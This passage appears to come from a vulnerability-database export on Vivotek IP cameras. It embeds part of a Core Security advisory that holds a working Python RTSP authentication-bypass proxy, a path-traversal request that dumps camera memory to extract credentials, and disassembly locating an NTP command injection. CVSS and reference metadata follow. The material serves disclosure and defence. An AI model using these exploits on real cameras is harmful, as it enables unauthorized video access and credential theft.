\u0027\u0027\n\n\nclass Vivotek(Camera):\n # Vivotek PT7135/0400a\n def __init__(self, address):\n Camera.__init__(self, address)\n def get_describe_data(self):\n return \u0027v=0\\r\\no=RTSP 836244 0 IN IP4 0.0.0.0\\r\\ns=RTSP\nserver\\r\\nc=IN IP4 0.0.0.0\\r\\nt=0\n0\\r\\na=charset:Shift_JIS\\r\\na=range:npt=0-\\r\\na=control:*\\r\\na=etag:1234567890\\r\\nm=video\n0 RTP/AVP 96\\r\\nb=AS:1200\\r\\na=rtpmap:96\nMP4V-ES/30000\\r\\na=control:trackID=1\\r\\na=fmtp:96\nprofile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\\r\\nm=audio\n0 RTP/AVP 97\\r\\na=control:trackID=3\\r\\na=rtpmap:97\nmpeg4-generic/16000/2\\r\\na=fmtp:97 streamtype=5; profile-level-id=15;\nmode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3;\nIndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\\r\\n\u0027\n\n\nclass RTSPAuthByPasser():\n DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n DEFAULT_CSEQ = 1\n DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n def __init__(self, local_port, camera):\n self.last_describe_req = \u0027\u0027\n self.camera = camera\n self.local_port = local_port\n \n def start(self):\n log(\u0027[!] Starting bypasser\u0027)\n TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n \n def spoof_rtsp_conn(self, data):\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n self.last_describe_req = data\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n spoofed_describe = self.camera.get_describe_data()\n # Look for the request CSeq\n m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n # Create the response\n data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n data+= \u0027\\r\\n\u0027\n # Attach the spoofed describe\n data+= spoofed_describe \n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n # Look for the server RTP ports\n m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n # For each port in the range create a UDP dispatcher\n begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n for udp_port in xrange(begin_port, end_port + 1):\n try:\n UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n except:\n pass \n return data\n\nif __name__ == \u0027__main__\u0027:\n if len( sys.argv ) \u003e 1:\n listener_port = camera_port = int(sys.argv[1])\n camera_ip = sys.argv[2]\n if len(sys.argv) == 4:\n camera_port = int(sys.argv[3])\n RTSPAuthByPasser(listener_port, Vivotek((camera_ip,\ncamera_port))).start()\n else:\n print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027 \n\n-----/\n\n\n8.4. *User Credentials Leaked via Path Traversal*\n\n[CVE-2013-1597] The following Python code exploits a path traversal and\ndumps the camera\u0027s memory. Valid user credentials can be extracted from\nthis memory dump by an unauthenticated remote attacker (firmware 0300a). \nThe same attack is still valid with firmware 0400a but the user has to\nbe authenticated in order to exploit this flaw. \n\n/-----\nimport httplib\n\nconn = httplib.HTTPConnection(\"192.168.1.100\")\nconn.request(\"GET\", \"/../../../../../../../../../proc/kcore\")\nresp = conn.getresponse()\ndata = resp.read()\n-----/\n\n\n\n8.5. *OS Command Injection*\n\n[CVE-2013-1598] The command injection is located in the binary file\n\u0027farseer.out\u0027 in the parameter \u0027system.ntp\u0027:\n\n/-----\n.text:0000CB34 MOV R1, R4\n.text:0000CB38 LDR R0, =aCmdporcessStar ;\n\"[CmdPorcess] Start sync with NTP server %s\"... \n.text:0000CB3C ADD R10, SP, #0x144+var_120\n.text:0000CB40 BNE loc_CB68\n[...]\n.text:0000CB68 BL .printf\n.text:0000CB6C LDR R2, =aSS_0 ; \"%s%s\"\n.text:0000CB70 LDR R3, =aUsrSbinPsntpda ;\n\"/usr/sbin/psntpdate -4fr \"\n.text:0000CB74 MOV R1, #0xFF ; maxlen\n.text:0000CB78 MOV R0, R10 ; s\n.text:0000CB7C STR R4, [SP,#0x144+var_144]\n.text:0000CB80 BL .snprintf\n.text:0000CB84 MOV R0, R10 ; command\n.text:0000CB88 BL .system \n-----/\n\n9. *Report Timeline*\n\n. 2013-03-06:\nCore Security Technologies notifies the Vivotek Customer Support of the\nvulnerability (tracking ID CRM:00930113) and requests a security manager\nto send a draft report regarding these vulnerabilities. No reply received. 2013-03-11:\nCore asks for a security manager to send a confidential report. 2013-03-14:\nCore notifies the Vivotek Technical Support of the vulnerability\n(tracking ID CRM:00930485). 2013-03-18:\nCore opens a new ticket in the Vivotek Technical Support (tracking ID\nCRM:00930670). 2013-03-21:\nCore asks for a reply regarding the tracking ID CRM:00930485. 2013-04-24:\nCore tries to contact vendor for last time without any reply. 2013-04-29:\nAfter 6 failed attempts to report the issues, the advisory\nCORE-2013-0301 is published as \u0027user-release\u0027. \n\n10. *References*\n\n[1] http://www.vivotek.com/web/product/NetworkCameras.aspx\n[2] http://www.securityfocus.com/bid/54476. \n[3] Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx. \n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2012 Core Security\nTechnologies and (c) 2012 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
"sources": [
{
"db": "NVD",
"id": "CVE-2013-1595"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007075"
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "CNVD",
"id": "CNVD-2013-04656"
},
{
"db": "BID",
"id": "59573"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "PACKETSTORM",
"id": "121451"
}
],
"trust": 3.33
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2013-1595",
"trust": 3.5
},
{
"db": "BID",
"id": "59573",
"trust": 2.5
},
{
"db": "BID",
"id": "54476",
"trust": 1.6
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007075",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2012-3710",
"trust": 0.6
},
{
"db": "CNVD",
"id": "CNVD-2013-04656",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201305-039",
"trust": 0.6
},
{
"db": "OTHER",
"id": "NONE",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "121451",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "CNVD",
"id": "CNVD-2013-04656"
},
{
"db": "BID",
"id": "59573"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007075"
},
{
"db": "PACKETSTORM",
"id": "121451"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-039"
},
{
"db": "NVD",
"id": "CVE-2013-1595"
}
]
},
"id": "VAR-202001-0835",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "CNVD",
"id": "CNVD-2013-04656"
}
],
"trust": 2.1333333333333333
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 1.2
},
{
"category": [
"camera device"
],
"sub_category": "IP camera",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "CNVD",
"id": "CNVD-2013-04656"
}
]
},
"last_update_date": "2025-01-30T22:42:23.911000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top\u00a0Page",
"trust": 0.8,
"url": "https://www.vivotek.com/"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007075"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-120",
"trust": 1.0
},
{
"problemtype": "Classic buffer overflow (CWE-120) [NVD Evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007075"
},
{
"db": "NVD",
"id": "CVE-2013-1595"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.8,
"url": "https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities"
},
{
"trust": 1.6,
"url": "https://packetstormsecurity.com/files/cve/cve-2013-1595"
},
{
"trust": 1.6,
"url": "https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt"
},
{
"trust": 1.6,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83944"
},
{
"trust": 1.6,
"url": "http://www.securityfocus.com/bid/59573"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1595"
},
{
"trust": 0.6,
"url": "http://www.securityfocus.com/bid/54476/"
},
{
"trust": 0.6,
"url": "http://seclists.org/fulldisclosure/2013/apr/252"
},
{
"trust": 0.6,
"url": "http://www.securityfocus.com/bid/54476"
},
{
"trust": 0.3,
"url": "http://www.vivotek.com/"
},
{
"trust": 0.1,
"url": "https://ieeexplore.ieee.org/abstract/document/10769424"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1596"
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1597"
},
{
"trust": 0.1,
"url": "http://www.undermx.blogspot.mx."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1594"
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://192.168.1.100/cgi-bin/admin/getparam.cgi"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1598"
},
{
"trust": 0.1,
"url": "http://192.168.1.100/setup/parafile.html"
},
{
"trust": 0.1,
"url": "http://www.vivotek.com/web/product/networkcameras.aspx"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://www.securityfocus.com/bid/54476."
},
{
"trust": 0.1,
"url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "CNVD",
"id": "CNVD-2013-04656"
},
{
"db": "BID",
"id": "59573"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007075"
},
{
"db": "PACKETSTORM",
"id": "121451"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-039"
},
{
"db": "NVD",
"id": "CVE-2013-1595"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "CNVD",
"id": "CNVD-2013-04656"
},
{
"db": "BID",
"id": "59573"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007075"
},
{
"db": "PACKETSTORM",
"id": "121451"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-039"
},
{
"db": "NVD",
"id": "CVE-2013-1595"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2012-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"date": "2013-05-06T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04656"
},
{
"date": "2013-04-29T00:00:00",
"db": "BID",
"id": "59573"
},
{
"date": "2012-07-16T00:00:00",
"db": "BID",
"id": "54476"
},
{
"date": "2020-02-07T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007075"
},
{
"date": "2013-04-29T23:40:31",
"db": "PACKETSTORM",
"id": "121451"
},
{
"date": "2012-07-18T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"date": "2013-04-29T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-039"
},
{
"date": "2020-01-24T18:15:11.913000",
"db": "NVD",
"id": "CVE-2013-1595"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2012-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"date": "2013-05-24T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04656"
},
{
"date": "2013-04-29T00:00:00",
"db": "BID",
"id": "59573"
},
{
"date": "2012-07-16T00:00:00",
"db": "BID",
"id": "54476"
},
{
"date": "2020-02-07T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007075"
},
{
"date": "2012-07-18T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"date": "2020-05-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-039"
},
{
"date": "2020-01-27T18:29:05.047000",
"db": "NVD",
"id": "CVE-2013-1595"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-039"
}
],
"trust": 1.2
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Vivotek Network Cameras Information Disclosure Vulnerability",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
}
],
"trust": 1.5
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "information disclosure",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
}
],
"trust": 0.6
}
}
VAR-201909-1017
Vulnerability from variot - Updated: 2025-01-30 21:46VIVOTEK IP Camera devices with firmware before 0x20x have a stack-based buffer overflow via a crafted HTTP header. VIVOTEK IP Camera The device firmware contains a classic buffer overflow vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. Attackers can exploit this vulnerability to cause buffer overflow or heap overflow, etc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201909-1017",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "camera",
"scope": "eq",
"trust": 1.0,
"vendor": "vivotek",
"version": null
},
{
"model": "camera",
"scope": "lt",
"trust": 0.8,
"vendor": "vivotek",
"version": "0x20x"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-009359"
},
{
"db": "NVD",
"id": "CVE-2019-14457"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:vivotek:camera",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-009359"
}
]
},
"cve": "CVE-2019-14457",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2019-14457",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-146405",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2019-14457",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2019-14457",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2019-14457",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2019-14457",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNNVD",
"id": "CNNVD-201909-456",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-146405",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-146405"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009359"
},
{
"db": "CNNVD",
"id": "CNNVD-201909-456"
},
{
"db": "NVD",
"id": "CVE-2019-14457"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK IP Camera devices with firmware before 0x20x have a stack-based buffer overflow via a crafted HTTP header. VIVOTEK IP Camera The device firmware contains a classic buffer overflow vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. Attackers can exploit this vulnerability to cause buffer overflow or heap overflow, etc",
"sources": [
{
"db": "NVD",
"id": "CVE-2019-14457"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009359"
},
{
"db": "VULHUB",
"id": "VHN-146405"
}
],
"trust": 1.71
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2019-14457",
"trust": 2.6
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009359",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201909-456",
"trust": 0.7
},
{
"db": "OTHER",
"id": "NONE",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-146405",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "VULHUB",
"id": "VHN-146405"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009359"
},
{
"db": "CNNVD",
"id": "CNNVD-201909-456"
},
{
"db": "NVD",
"id": "CVE-2019-14457"
}
]
},
"id": "VAR-201909-1017",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "VULHUB",
"id": "VHN-146405"
}
],
"trust": 1.0783784
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"camera device"
],
"sub_category": "camera",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
}
]
},
"last_update_date": "2025-01-30T21:46:50.793000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "VVTK\u2212SA-2019-002",
"trust": 0.8,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2019-002-v1.pdf"
},
{
"title": "VIVOTEK IP Camera Buffer error vulnerability fix",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=98049"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-009359"
},
{
"db": "CNNVD",
"id": "CNNVD-201909-456"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-787",
"trust": 1.0
},
{
"problemtype": "CWE-120",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-146405"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009359"
},
{
"db": "NVD",
"id": "CVE-2019-14457"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 1.7,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2019-002-v1.pdf"
},
{
"trust": 1.4,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-14457"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2019-14457"
},
{
"trust": 0.1,
"url": "https://ieeexplore.ieee.org/abstract/document/10769424"
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "VULHUB",
"id": "VHN-146405"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009359"
},
{
"db": "CNNVD",
"id": "CNNVD-201909-456"
},
{
"db": "NVD",
"id": "CVE-2019-14457"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "OTHER",
"id": null
},
{
"db": "VULHUB",
"id": "VHN-146405"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009359"
},
{
"db": "CNNVD",
"id": "CNNVD-201909-456"
},
{
"db": "NVD",
"id": "CVE-2019-14457"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-09-10T00:00:00",
"db": "VULHUB",
"id": "VHN-146405"
},
{
"date": "2019-09-18T00:00:00",
"db": "JVNDB",
